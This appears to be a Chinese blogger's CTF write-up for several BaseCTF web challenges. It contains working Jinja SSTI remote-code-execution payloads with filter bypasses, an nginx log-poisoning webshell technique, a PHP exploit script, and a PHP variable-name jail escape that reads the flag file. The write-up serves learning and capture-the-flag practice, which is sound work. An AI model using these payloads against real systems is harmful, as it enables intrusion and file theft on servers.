哈尔滨城乡建设局网站首页,化妆品网站 源码,seo公司发展前景,工作号做文案素材的网站复读机 输入的东西会在下方显示出来#xff0c;wp说是简单的SSTI#xff0c;这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染#xff0c;SSTI漏洞就是用户插入了可以破坏模板…复读机 输入的东西会在下方显示出来wp说是简单的SSTI这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染SSTI漏洞就是用户插入了可以破坏模板的语句导致了敏感信息泄露、rce等问题。 不同的语言会有不同的模板框架。 在这些框架中存在很多类包括可以做到RCE的类。 所以我们的目标就是要通过模板操作到可以进行RCE的类 那么我们输入什么才会被当成模板注入呢 因为模板渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4所以我们需要用 {{恶意代码}} 的形式来进行SSTI 所以{{2*2}}也被用作检测SSTI漏洞的方法 知道了这些就可以通过魔术方法找到rce的类并rce获取flag
__class__ 返回类型所属的对象。
__base__ 返回该对象所继承的父类
__mro__ 返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用假设我们知道一个当前类通过__class__返回对象然后用__mro__或者__base__返回父类直到父类为object类所有的类都是object类的子类再用__sublasses__返回所有的子类这样就能找到存在rce的类啦 以下是一些当前类的表示方式
.__class__().__class__[].__class__.__class__{}.__class__ ctfshow_web361 所以我们可以构造{{.__class__.__base__.__subclasses__}}查看所有类 可以进行rce的类是——os._wrap_close所以我们需要找到这个类的序号 可以复制粘贴去记事本搜索os._wrap_close一下具体的位置一般在130多我这里是132 之后用__init__初始化这个类用__globals__寻找popen函数后可以直接命令执行记得最后要加一个read() 构造
?name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](cat%20/flag).read()}} 这个格式稍微要记一下目前只知道可以用os._wrap_close的popen popen后的括号里直接写命令不需要system 说了这么多也只是浅浅入门SSTI之后还会有关于SSTI的绕过这道复读机就是 回到原题这里我就整理一下官方wp前面写的太多了 1.是过滤了{{}}、替换成{%print%} 3.用[]替换. 2.过滤了斜杠和反斜杠要读取flag只能通过其他函数拼凑一个/ 有三种方法 利用 chr 函数来构造出一个命令 第一行让chr字符串等于chr函数 第二行让cmd等于cat /flag 第三行就正常输出
BaseCTF{% set chr [__class__][__base__][__subclasses__]()[137][__init__][__globals__][__builtins__][chr]%}
{% set cmdcat ~chr(47)~flag %}
{%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](cmd)[read]())%} 利用环境变量的值 查看环境变量可以看到 OLDPWD/ 直接利用它来切换到根目录然后再读flag
BaseCTF{%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](cd $OLDPWD;cat flag)[read]())%} 利用 expr substr 切割出一个 / pwd 中的第一个字符就是 / 那用 expr substr 切割出来后之后就可以像上一个方法那样切换到根目录然后读 flag 了
BaseCTF{%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](apwd;aexpr substr $a 1 1;cd $a;cat flag)[read]())%} 滤个不停 有几层过滤终点是include()说明这里最终要往文件包含靠。
我们先一层一层看 第一层很简单就是post一个HelloWorld。 第二层是一个匹配过滤就是说我们上传Datch的参数必须要包含s, e, v, a, n, x, r, o所有字母并且要做到你上传的参数能够执行文件包含。 而且后面还过滤了很多伪协议这里只能试试日志注入了 日志注入 (这里是我之前写的关于日志注入的笔记) 令人惊喜的是 日志注入要上传的Datch/var/log/nginx/access.log居然包含了上面所有的字母看来就是这么个考点 我们在ua上传一句话木马并构造/?Datch/var/log/nginx/access.log进行日志注入然后就可以命令执行啦 玩原神玩的 分析一下代码 首先是一个$len我们要上传len使len[]的长度和array[]的长度相等。 但是我们并不知道len的长度为多少不过连续post数组就会默认添加到后一位 但是有几位呢 这里直接跳了tip比较简单 之后能要post两个m一个值为100%第二个是love100%加上第一个值的md5哈希值 post的时候记得url编码一下 最后得出这么多md5值分别就是flag的每一个的字符的md值 这里可以写一个脚本爆破思路是这样的 循环遍历每一个字母如果字母的md5值与位置数的异或等于之前给出的md5值那么就确定了一个flag的字母。 脚本如下官方脚本
for ($ii 0; $ii count($md5_array); $ii) {for ($ascii 0; $ascii 256; $ascii) {if (md5($ascii ^ $ii) $md5_array[$ii]) {$flag . chr($ascii);break;}}
} exp
?php
highlight_file(__FILE__);
include flag.php;$challenge_url http://challenge.basectf.fun:42801/?;
$post ;
for ($i 0;$i 45;$i) {$post . len[] . $i . ;
} // $_POST[len] sizeof($array)$get tip . 我要玩原神; // $tip ! 我要玩原神$post . m[] . urlencode(100%) . m[] . urlencode(love100% . md5(100%));
echo br . URL: . $challenge_url . $get . br;
echo POST Data: . $post . br;$curl curl_init();curl_setopt_array($curl, [CURLOPT_URL $challenge_url . $get,CURLOPT_RETURNTRANSFER true,CURLOPT_ENCODING ,CURLOPT_MAXREDIRS 10,CURLOPT_TIMEOUT 30,CURLOPT_HTTP_VERSION CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST POST,CURLOPT_POSTFIELDS $post,CURLOPT_HTTPHEADER [Content-Type: application/x-www-form-urlencoded,],
]);$response curl_exec($curl);
$err curl_error($curl);curl_close($curl);if ($err) die(cURL Error #: . $err);
preg_match(/\[\(.*?)\\]/, $response, $matches);if (empty($matches)) die(Invalid JSON);
$json [ . $matches[1] . ];
echo MD5 Array: . $json . br;
$md5_array json_decode($json, true);
$flag ;for ($ii 0; $ii count($md5_array); $ii) {for ($ascii 0; $ascii 256; $ascii) {if (md5($ascii ^ $ii) $md5_array[$ii]) {$flag . chr($ascii);break;}}
}echo Flag: . $flag; EZ_PHP_Jail 首先是GET一个Jail_by.Happy这里估计是一个php变量名的考点 php非法字符转化规则 php在8.0版本之前传变量的时候如果变量含有空格、、.、[这些会变成_ 但是如果第一个是[那么后面的字符就不会被改变
这里就成功绕过了 然后是一个绕过绕过Jail变量的参数 过滤了$ c a s require include说明不能使用cattac和文件包含 不过文件包含还有highlight_file可以用 还有很多读目录函数没用比如print_r(glob(/*));读取根目录 [4]是flag
我们构造
?Jail[by.Happyhighlight_file(glob(/*)[4]); 奇怪的是官方wp里给出的是
?Jail[by.Happyhighlight_file(glob(/f*)[0]); 也可以读取flag有没有大佬知道这个是怎么回事QAQ 小结 本来想week3和4一起写的谁知道SSTI写了这么多QAQ 主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化学到了新东西也复习到了旧东西